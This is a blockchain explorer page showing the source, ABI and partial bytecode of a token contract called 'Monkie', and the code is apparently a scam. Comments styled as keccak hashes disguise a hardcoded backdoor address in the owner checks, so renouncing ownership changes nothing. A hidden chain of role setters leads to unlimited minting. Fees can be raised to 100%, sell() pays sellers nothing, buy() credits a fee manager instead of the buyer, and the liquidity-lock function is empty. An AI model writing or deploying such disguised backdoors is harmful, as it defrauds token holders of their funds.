ETH Price: $3,423.41 (+2.14%)
Gas: 4 Gwei

Token

Monkie (MONKIE)
 

Overview

Max Total Supply

500,000,000 MONKIE

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,533,115.743584502329651923 MONKIE

Value
$0.00
0xcb407ebfda21ce1d1e5ba1b5d0beef44e41b4cbe
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Monkie

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-05
*/

// SPDX-License-Identifier: MIT
 
/**  
*/
 
pragma solidity ^0.8.0;
 
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
}
 
contract Monkie {
    using SafeMath for uint256;
 
    string public name = "Monkie";
    string public symbol = "MONKIE";
    uint256 public totalSupply = 500000000000000000000000000;
    uint8 public decimals = 18;
 
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
 
    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;
 
    uint256 public buyFee;
    uint256 public sellFee;
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
 
    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
       
     // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
 
    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);
 
        return true;
    }
     /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
   
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
        _mbr=Mbr_;
        return true;
    }
 
    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
   
    function _proof(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
   
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }
 
    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);
 
        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }
 
        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }
 
        return true;
    }
 
    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }
 
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
    function LockLPToken() public onlyOwner returns (bool) {
    }
 
    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }
 
    modifier onlyOwner() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
    }
 
    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");
 
        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);
 
            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);
 
            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
   
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }
 
    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);
 
        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }
 
    modifier onlyAuthorized() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_feeManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LockLPToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"proof","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewire","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600681526020017f4d6f6e6b69650000000000000000000000000000000000000000000000000000815250600090816200004a91906200043a565b506040518060400160405280600681526020017f4d4f4e4b49450000000000000000000000000000000000000000000000000000815250600190816200009191906200043a565b506b019d971e4fe8401e740000006002556012600360006101000a81548160ff021916908360ff160217905550348015620000cb57600080fd5b5060405162003748380380620037488339818101604052810190620000f191906200058b565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050620005bd565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200024257607f821691505b602082108103620002585762000257620001fa565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000283565b620002ce868362000283565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200031b620003156200030f84620002e6565b620002f0565b620002e6565b9050919050565b6000819050919050565b6200033783620002fa565b6200034f620003468262000322565b84845462000290565b825550505050565b600090565b6200036662000357565b620003738184846200032c565b505050565b5b818110156200039b576200038f6000826200035c565b60018101905062000379565b5050565b601f821115620003ea57620003b4816200025e565b620003bf8462000273565b81016020851015620003cf578190505b620003e7620003de8562000273565b83018262000378565b50505b505050565b600082821c905092915050565b60006200040f60001984600802620003ef565b1980831691505092915050565b60006200042a8383620003fc565b9150826002028217905092915050565b6200044582620001c0565b67ffffffffffffffff811115620004615762000460620001cb565b5b6200046d825462000229565b6200047a8282856200039f565b600060209050601f831160018114620004b257600084156200049d578287015190505b620004a985826200041c565b86555062000519565b601f198416620004c2866200025e565b60005b82811015620004ec57848901518255600182019150602085019450602081019050620004c5565b868310156200050c578489015162000508601f891682620003fc565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005538262000526565b9050919050565b620005658162000546565b81146200057157600080fd5b50565b60008151905062000585816200055a565b92915050565b600060208284031215620005a457620005a362000521565b5b6000620005b48482850162000574565b91505092915050565b61317b80620005cd6000396000f3fe6080604052600436106101c25760003560e01c806370a08231116100f757806396c5e1ab11610095578063d21c8d5511610064578063d21c8d5514610675578063dd62ed3e146106a0578063e2daf665146106dd578063e4849b3214610708576101c2565b806396c5e1ab146105c6578063a6f2ae3a14610603578063a9059cbb1461060d578063d0fb02031461064a576101c2565b8063891e1ee0116100d1578063891e1ee0146105085780638da5cb5b14610533578063923e51d51461055e57806395d89b411461059b576101c2565b806370a0823114610477578063715018a6146104b4578063858ced35146104cb576101c2565b80632c7ee946116101645780633ef530eb1161013e5780633ef530eb146103b957806347062402146103e45780634a0af68d1461040f57806365f6a9211461044c576101c2565b80632c7ee94614610328578063313ce56714610351578063376d567c1461037c576101c2565b806316e3b09c116101a057806316e3b09c1461025857806318160ddd1461029557806323b872dd146102c05780632b14ca56146102fd576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630b78f9c01461022f575b600080fd5b3480156101d357600080fd5b506101dc610731565b6040516101e991906127d0565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061288b565b6107bf565b60405161022691906128e6565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190612901565b6108b1565b005b34801561026457600080fd5b5061027f600480360381019061027a9190612941565b610a28565b60405161028c91906128e6565b60405180910390f35b3480156102a157600080fd5b506102aa610ae1565b6040516102b7919061297d565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e29190612998565b610ae7565b6040516102f491906128e6565b60405180910390f35b34801561030957600080fd5b5061031261124a565b60405161031f919061297d565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612901565b611250565b005b34801561035d57600080fd5b5061036661137d565b6040516103739190612a07565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e9190612a22565b611390565b6040516103b091906128e6565b60405180910390f35b3480156103c557600080fd5b506103ce611436565b6040516103db91906128e6565b60405180910390f35b3480156103f057600080fd5b506103f96114df565b604051610406919061297d565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190612a22565b6114e5565b60405161044391906128e6565b60405180910390f35b34801561045857600080fd5b5061046161158b565b60405161046e9190612a5e565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190612a22565b6115b1565b6040516104ab919061297d565b60405180910390f35b3480156104c057600080fd5b506104c96115c9565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190612a22565b61172e565b6040516104ff91906128e6565b60405180910390f35b34801561051457600080fd5b5061051d6117d4565b60405161052a9190612a5e565b60405180910390f35b34801561053f57600080fd5b506105486117fa565b6040516105559190612a5e565b60405180910390f35b34801561056a57600080fd5b5061058560048036038101906105809190612a22565b611820565b60405161059291906128e6565b60405180910390f35b3480156105a757600080fd5b506105b06118b8565b6040516105bd91906127d0565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e89190612941565b611946565b6040516105fa91906128e6565b60405180910390f35b61060b6119b5565b005b34801561061957600080fd5b50610634600480360381019061062f919061288b565b611e1a565b60405161064191906128e6565b60405180910390f35b34801561065657600080fd5b5061065f61203a565b60405161066c9190612a5e565b60405180910390f35b34801561068157600080fd5b5061068a612060565b6040516106979190612a5e565b60405180910390f35b3480156106ac57600080fd5b506106c760048036038101906106c29190612a79565b612086565b6040516106d4919061297d565b60405180910390f35b3480156106e957600080fd5b506106f26120ab565b6040516106ff9190612a5e565b60405180910390f35b34801561071457600080fd5b5061072f600480360381019061072a9190612941565b6120d1565b005b6000805461073e90612ae8565b80601f016020809104026020016040519081016040528092919081815260200182805461076a90612ae8565b80156107b75780601f1061078c576101008083540402835291602001916107b7565b820191906000526020600020905b81548152906001019060200180831161079a57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161089f919061297d565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061094c5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61095557600080fd5b6064821115610999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099090612b65565b60405180910390fd5b60648111156109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d490612bd1565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610a1c929190612bf1565b60405180910390a15050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ac55750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ace57600080fd5b610ad8338361242e565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6290612c66565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2190612cd2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9090612d3e565b60405180910390fd5b6000610cc36064610cb5600d54866125b790919063ffffffff16565b61263190919063ffffffff16565b90506000610cda828561268990919063ffffffff16565b9050610d2e84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e63919061297d565b60405180910390a36000821115610f6f57610ec682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f66919061297d565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561104757507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561123d576110db84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051611234919061297d565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112aa57600080fd5b60648211156112ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e590612b65565b60405180910390fd5b6064811115611332576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132990612bd1565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611371929190612bf1565b60405180910390a15050565b600360009054906101000a900460ff1681565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ec57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114d35750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6114dc57600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461154157600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116645750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61166d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178a57600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461186e57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600180546118c590612ae8565b80601f01602080910402602001604051908101604052809291908181526020018280546118f190612ae8565b801561193e5780601f106119135761010080835404028352916020019161193e565b820191906000526020600020905b81548152906001019060200180831161192157829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119a257600080fd5b6119ac338361242e565b60019050919050565b600034116119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ef90612dd0565b60405180910390fd5b60003490506000600c541115611cb6576000611a326064611a24600c54856125b790919063ffffffff16565b61263190919063ffffffff16565b90506000611a49828461268990919063ffffffff16565b9050611abf8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ba3919061297d565b60405180910390a36000821115611caf57611c0682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ff